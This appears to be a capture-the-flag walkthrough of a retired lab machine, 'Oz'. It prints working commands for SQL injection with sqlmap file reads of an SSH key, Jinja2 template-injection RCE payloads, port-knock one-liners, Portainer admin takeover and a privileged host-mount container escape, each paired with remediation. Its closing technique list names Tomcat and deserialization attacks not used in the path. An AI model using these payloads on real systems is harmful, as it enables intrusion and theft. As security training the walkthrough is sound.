← all walkthroughs

Oz

Linux· Hard· Web
owned
2026-07-10
time to own
19m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target Oz (<retired-instance-ip>) exposed two Python/Werkzeug web services — an unauthenticated JSON API on port 80 and a support-ticket portal on port 8080 — with SSH hidden behind a UDP port-knock firewall rule. The JSON API passed URL parameters directly into SQL queries; I exploited this to dump a credentials table and abuse MySQL's LOAD_FILE() to pull an encrypted SSH private key off the server filesystem. The dumped credential wizard.oz:[REDACTED: recovered credential] unlocked the ticket portal, whose description field rendered user input as a live Jinja2 template, giving remote code execution inside the web container as root. That RCE read a secret config file revealing the port-knock sequence, while a database URI leaked from the Flask app config supplied the SSH key's passphrase. After knocking open SSH, I logged in as dorthi and captured the user flag. Dorthi's shell was a Docker container; Portainer, the container-management API, was reachable on the internal Docker bridge network and had never been initialized, so a single unauthenticated request created an user-controlled admin account. That admin access deployed a privileged container with the host root filesystem mounted inside, escaping container isolation entirely and exposing root.txt on the underlying host.

Attack path — how the box was taken

1EnumerationService and version enumeration (T1046)
Mapped exposed services and identified a port-knock-protected SSH port
An nmap scan revealed two Werkzeug/Python 2.7.18 HTTP services: an 'OZ webapi' on port 80 and a 'GBR Support' login portal on port 8080. SSH on TCP 22 showed as filtered rather than closed, the characteristic signature of a port-knock firewall rule silently dropping packets until a secret sequence is sent. Curl requests to both services confirmed application names and technology stack.
nmap: 80/tcp open http Werkzeug httpd 1.0.1 (Python 2.7.18); 8080/tcp open http Werkzeug httpd 1.0.1; 22/tcp filtered ssh.
Exact commands 3
Identify service versions; filtered port 22 signals port-knocking rather than a closed port.
nmap -sV -sC -p 22,80,8080 $TARGET
Confirm OZ webapi and visible API routes.
curl -sS http://$TARGET/
Confirm GBR Support login portal on port 8080.
curl -sS http://$TARGET:8080/
2ExploitationSQL injection — UNION-based data exfiltration and LOAD_FILE() filesystem read (CWE-89, T1190)
Exploited SQL injection in the /users/ API to dump credentials and steal dorthi's SSH private key
The OZ webapi endpoint /users/<name> concatenated the URL parameter directly into a SQL query. A single quote in the name caused a database error; the payload ' OR '1'='1 returned every user record, confirming injection. sqlmap was run against the vulnerable parameter to enumerate the ozdb database, dump the users_gbw table (which held PBKDF2-HMAC-SHA256 hashes including wizard.oz:[REDACTED: recovered credential]), and abuse MySQL's LOAD_FILE() via a UNION-based file-read primitive to exfiltrate /home/dorthi/.ssh/id_rsa. The key was AES-128-CBC encrypted with a passphrase.
curl to /users/' OR '1'='1 returned unintended JSON rows; sqlmap dump produced users_gbw table with credentials; --file-read produced id_rsa at /home/kali/.local/share/sqlmap/output/<retired-instance-ip>/files/_home_dorthi_.ssh_id_rsa.
Exact commands 4
Confirm SQLi — response should include all user records.
curl -sS "http://$TARGET/users/' or '1'='1"
Enumerate databases; discover ozdb.
sqlmap -u 'http://$TARGET/users/admin*' --batch --random-agent --level=5 --risk=3 --dbms=mysql --dbs
Dump credentials table; retrieves wizard.oz:[REDACTED: recovered credential].
sqlmap -u 'http://$TARGET/users/admin*' --batch --random-agent --level=5 --risk=3 --dbms=mysql -D ozdb -T users_gbw --dump
Exfiltrate dorthi's encrypted SSH private key via LOAD_FILE().
sqlmap -u 'http://$TARGET/users/admin*' --batch --random-agent --level=5 --risk=3 --dbms=mysql --file-read=/home/dorthi/.ssh/id_rsa
FixParameterise all database queries to eliminate SQL injection and revoke LOAD_FILE privilegeCritical
WeaknessThe /users/<name> API endpoint concatenated the URL path segment directly into a SQL query without any parameterisation or input validation. I could inject arbitrary SQL to dump the entire credentials table and use MySQL's LOAD_FILE() to read any file the database process could access — including SSH private keys in user home directories.
FixReplace every string-concatenated query with a parameterised statement or ORM binding (e.g. SQLAlchemy filter_by(name=name)). Revoke the database account's FILE privilege (REVOKE FILE ON *.* FROM 'appuser'@'%') so LOAD_FILE() cannot be abused even if injection recurs. Apply a strict input-validation allowlist (alphanumeric usernames only) as a secondary control. Rotate all credentials exposed in the users_gbw dump.
3ExploitationServer-Side Template Injection (SSTI) detection and credential leak (CWE-1336, T1190)
Authenticated to the GBR Support portal and confirmed Jinja2 template injection
The credential wizard.oz:[REDACTED: recovered credential] from the dumped table authenticated successfully to the GBR Support ticket portal at port 8080. The ticket-creation form accepted a name and description field. Submitting {{7*7}} in the description returned '49' rendered in the page, confirming Flask/Jinja2 was evaluating the field as a live template expression with no sanitization. A follow-up payload using {{config.items()}} dumped the Flask application config, including the SQLALCHEMY_DATABASE_URI which exposed the credential dorthi:[REDACTED: recovered credential] — the same password that protects dorthi's encrypted SSH key.
POST with desc={{7*7}} returned 49; {{config.items()}} response included SQLALCHEMY_DATABASE_URI containing dorthi:[REDACTED: recovered credential].
Exact commands 3
Log in as wizard.oz; session cookie saved for subsequent requests.
curl -sS -c /tmp/oz8080.cookies -X POST -d 'username=wizard.oz&password=[REDACTED: credential]' http://$TARGET:8080/login
Confirm SSTI: response must contain 49.
curl -sS -b /tmp/oz8080.cookies -X POST --data-urlencode 'name=test' --data-urlencode 'desc={{7*7}}' http://$TARGET:8080/
Leak Flask config; look for SQLALCHEMY_DATABASE_URI containing dorthi:[REDACTED: recovered credential].
curl -sS -b /tmp/oz8080.cookies -X POST --data-urlencode 'name=cfg' --data-urlencode 'desc={{config.items()}}' http://$TARGET:8080/
FixStop evaluating user input as Jinja2 templates and run the web process as a non-root userCritical
WeaknessThe GBR Support portal passed ticket description text to Jinja2's render_template_string() (or equivalent), treating user-supplied content as executable template code. Because the web process ran as uid=0 inside the container, any Jinja2 payload had root-level OS access, including reading secret configuration files.
FixNever pass user-controlled data to render_template_string(). Instead, place templates in static .html files and inject user data only as context variables — Jinja2 auto-escapes variable values, it does not re-evaluate them as templates. If truly dynamic templates are required, use jinja2.sandbox.SandboxedEnvironment and deny dunder attribute traversal. Independently, run the Flask application as a dedicated non-root user inside the container (USER appuser in the Dockerfile); this limits the blast radius of any future code-execution vulnerability.
4ExploitationJinja2 SSTI to OS RCE via Python object graph traversal (T1059.006)
Escalated SSTI to OS command execution and read the port-knock secret config
The Jinja2 injection was escalated to full OS command execution by traversing Python's object graph from the request context through __globals__.__builtins__.__import__('os').popen(). Commands executed as uid=0(root) inside the web application's Docker container. This RCE was used to read /.secret/knockd.conf, which revealed the three-step UDP port-knock sequence (40809, 50212, 46969) that temporarily opens SSH on the host for a 10-second window.
RCE payload returned uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...; knockd.conf showed sequence = 40809:udp,50212:udp,46969:udp with start_command = ufw allow from %IP% to any port 22 and cmd_timeout=10.
Exact commands 2
Confirm RCE as root inside the container.
payload='{{request.application.__globals__.__builtins__.__import__("os").popen("id").read()}}'; curl -sS --max-time 8 -b /tmp/oz8080.cookies -X POST --data-urlencode 'name=rce-id' --data-urlencode "desc=$payload" 'http://$TARGET:8080/'
Read knock config; reveals sequence 40809:udp,50212:udp,46969:udp and the 10-second open window.
payload='{{request.application.__globals__.__builtins__.__import__("os").popen("cat /.secret/knockd.conf").read()}}'; curl -sS --max-time 8 -b /tmp/oz8080.cookies -X POST --data-urlencode 'name=knock' --data-urlencode "desc=$payload" 'http://$TARGET:8080/'
FixStop evaluating user input as Jinja2 templates and run the web process as a non-root userCritical
WeaknessThe GBR Support portal passed ticket description text to Jinja2's render_template_string() (or equivalent), treating user-supplied content as executable template code. Because the web process ran as uid=0 inside the container, any Jinja2 payload had root-level OS access, including reading secret configuration files.
FixNever pass user-controlled data to render_template_string(). Instead, place templates in static .html files and inject user data only as context variables — Jinja2 auto-escapes variable values, it does not re-evaluate them as templates. If truly dynamic templates are required, use jinja2.sandbox.SandboxedEnvironment and deny dunder attribute traversal. Independently, run the Flask application as a dedicated non-root user inside the container (USER appuser in the Dockerfile); this limits the blast radius of any future code-execution vulnerability.
5FootholdPort-knock bypass and SSH authentication with exfiltrated private key (T1021.004, T1552.004)
Sent the port-knock sequence, decrypted the SSH key, and established a shell as dorthi
The SSH private key exfiltrated via SQLi was AES-128-CBC encrypted. The passphrase [REDACTED: recovered credential], leaked from the Flask config via SSTI, decrypted it. The three UDP port-knock packets were sent in sequence with short delays; knockd ran 'ufw allow ... port 22' for 10 seconds. Within that window, an SSH connection as dorthi using the decrypted key succeeded. The user flag was captured from dorthi's home directory.
SSH connected as dorthi@<retired-instance-ip> immediately after knock; user.txt read as [REDACTED: flag].
Exact commands 4
Copy exfiltrated key to a writable location.
cp /home/kali/.local/share/sqlmap/output/$TARGET/files/_home_dorthi_.ssh_id_rsa /tmp/oz_dorthi_id_rsa && chmod 600 /tmp/oz_dorthi_id_rsa
Remove passphrase using the credential leaked via SSTI; key is now unencrypted.
ssh-keygen -p -P '[REDACTED: recovered credential]' -N '' -f /tmp/oz_dorthi_id_rsa
Send UDP knock sequence; SSH port 22 opens for ~10 seconds.
for p in 40809 50212 46969; do bash -c "echo x >/dev/udp/$TARGET/$p"; sleep 0.25; done
Connect immediately after knocking; outputs [REDACTED: flag].
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=5 -i /tmp/oz_dorthi_id_rsa dorthi@$TARGET 'cat ~/user.txt'
FixProtect SSH private keys with unique passphrases and restrict database filesystem access to user directoriesHigh
WeaknessDorthi's SSH private key was readable by the MySQL database process via LOAD_FILE(), and its passphrase was [REDACTED: recovered credential] to the database connection password. A single exploited SQLi gave me both the key file and the passphrase needed to use it — two separate secrets collapsed into one.
FixEnsure the database service account runs as a dedicated OS user that cannot read other users' home directories (chmod 700 /home/dorthi; chown dorthi:dorthi /home/dorthi/.ssh; chmod 600 the key). Revoke the MySQL FILE privilege as above. Generate a unique, randomly-created passphrase for the SSH key — never reuse application passwords as key passphrases. After this incident, replace dorthi's SSH key pair entirely.
6Post-ExploitationInternal network discovery and SSH tunnel pivot (T1046, T1572)
Discovered Portainer container-management API on the internal Docker network
Dorthi's shell was inside the same Docker container that ran the web application, not on the bare host. Internal network enumeration revealed Portainer, a Docker management platform, listening at <retired-instance-ip>:9000 on the Docker bridge network — unreachable directly from the internet. An SSH local-port-forward (requiring a fresh port-knock before each new SSH session) exposed Portainer's HTTP API on my local machine at port 19001 for further exploitation.
<retired-instance-ip>:9000 reachable from dorthi's container; Portainer /api/status returned version information.
Exact commands 2
Re-knock then forward Portainer to localhost:19001.
for p in 40809 50212 46969; do bash -c "echo x >/dev/udp/$TARGET/$p"; sleep 0.25; done && ssh -f -N -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -L 19001:$INTERNAL_TARGET:9000 -i /tmp/oz_dorthi_id_rsa dorthi@$TARGET
Verify Portainer is reachable and inspect the Version and Authentication fields.
curl -sS http://$LOOPBACK:19001/api/status
7Privilege EscalationPortainer unauthenticated admin initialisation bypass (T1078.004)
Bypassed Portainer authentication via the uninitialised first-run admin endpoint
Portainer's /api/users/admin/init endpoint is intended only for first-time setup — it creates the initial administrator account with no authentication required, and is supposed to be called once before any admin exists. Because this instance was never initialised, the endpoint was still active. A single unauthenticated POST with an user-chosen username and password created a Portainer admin account. A follow-up POST to /api/auth returned a signed JWT granting full administrative access to the Docker environment.
POST to /api/users/admin/init returned HTTP 200; /api/auth returned a valid JWT for the created account.
Exact commands 2
Create user-controlled Portainer admin — no authentication required.
curl -sS -X POST http://$LOOPBACK:19001/api/users/admin/init -H 'Content-Type: application/json' -d '{"Username":"admin","Password":"P@ssw0rd123!"}'
Obtain admin JWT; save value for all subsequent Portainer API calls.
curl -sS -X POST http://$LOOPBACK:19001/api/auth -H 'Content-Type: application/json' -d '{"Username":"admin","Password":"P@ssw0rd123!"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['jwt'])"
FixComplete Portainer initialisation before network exposure and restrict API access to trusted hostsCritical
WeaknessPortainer was deployed and left in an uninitialised state with its /api/users/admin/init endpoint active. This endpoint requires no authentication and accepts an arbitrary admin credential, so any client that can reach TCP 9000 can take full administrative control of the Docker environment without knowing any existing password.
FixAlways complete the Portainer first-run setup wizard immediately after deployment — this disables the /api/users/admin/init endpoint. Bind Portainer to localhost or a dedicated management interface only; never expose it to container-internal networks reachable by potentially-compromised workloads. If remote access is needed, place Portainer behind an authenticated reverse proxy with MFA. Apply Portainer updates promptly and monitor the project's security advisories.
8Privilege EscalationPrivileged Docker container escape via host filesystem bind-mount (T1611)
Deployed a privileged Docker container mounting the host filesystem to read root.txt
With Portainer admin access, I registered the local Docker Unix socket as a managed endpoint and used Portainer's container-create API to launch a new container with --privileged and the host root filesystem (/) bind-mounted at /host inside the container. The privileged flag removes all Linux namespace and capability restrictions; with the host filesystem mounted, every file on the underlying host was accessible as root. The host root flag was read directly through the mount.
Privileged container created via Portainer API with Binds:["/:/host"] and Privileged:true; container logs returned [REDACTED: flag].
Exact commands 3
Register local Docker socket as a Portainer endpoint; note the numeric endpoint ID in the response.
TOKEN=[REDACTED: protected value]; curl -sS -X POST http://$LOOPBACK:19001/api/endpoints --oauth2-bearer "$BEARER_TOKEN" -H 'Content-Type: application/json' -d '{"Name":"local","EndpointType":1,"URL":"unix:///var/run/docker.sock"}'
Create privileged container mounting host / at /host; note the container ID returned.
TOKEN=[REDACTED: protected value]; EID=1; curl -sS -X POST "http://$LOOPBACK:19001/api/endpoints/$EID/docker/containers/create" --oauth2-bearer "$BEARER_TOKEN" -H 'Content-Type: application/json' -d '{"Image":"alpine","Cmd":["/bin/sh","-c","cat /host/root/root.txt"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'
Start container and retrieve logs; output contains [REDACTED: flag].
TOKEN=[REDACTED: protected value]; EID=1; CID='<CONTAINER_ID>'; curl -sS -X POST "http://$LOOPBACK:19001/api/endpoints/$EID/docker/containers/$CID/start" --oauth2-bearer "$BEARER_TOKEN" && curl -sS "http://$LOOPBACK:19001/api/endpoints/$EID/docker/containers/$CID/logs?stdout=1&stderr=1" --oauth2-bearer "$BEARER_TOKEN"
FixProhibit privileged containers and unrestricted host-path mounts via Docker security policyCritical
WeaknessThe Docker daemon allowed creation of containers with the --privileged flag and arbitrary host filesystem bind-mounts. Any user with Docker API access — legitimately or through a compromised management tool — can launch a container that escapes all Linux namespace isolation and reads or writes every file on the host as root.
FixDeploy an OPA/Gatekeeper admission policy or a Docker authorisation plugin that denies Privileged:true and HostConfig.Binds entries referencing host paths outside a safe whitelist. Enable Docker's built-in security features: user namespace remapping (userns-remap), a restrictive seccomp profile, and AppArmor/SELinux confinement. For production workloads, consider a stronger runtime isolation layer such as gVisor (runsc). Audit all existing containers for privileged flags and host mounts.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Insecure DeserializationWeb · Service RCET1190

What it is

Applications that deserialize user-controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.

Why it works

Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Server-Side Template InjectionWebT1190

What it is

When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), I can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.

Why it works

The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.

Read more

Tomcat Manager WAR DeployWeb · Service RCET1190

What it is

Apache Tomcat's Manager application allows deploying web applications. With valid (often default/weak) manager credentials, I uploads a malicious WAR file containing a JSP webshell, which Tomcat deploys and executes — code execution as the Tomcat service user.

Why it works

The Manager app is exposed with default or guessable credentials (tomcat:tomcat, admin:admin) and the deploy feature is RCE by design. Remediate by removing/locking down the Manager app, using strong credentials, and binding it to localhost.

Read more

Findings

Privilege Escalation to root: Portainer Api Authentication Bypass And Privileged Docker Container EscapeCritical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

80/tcp
8080/tcp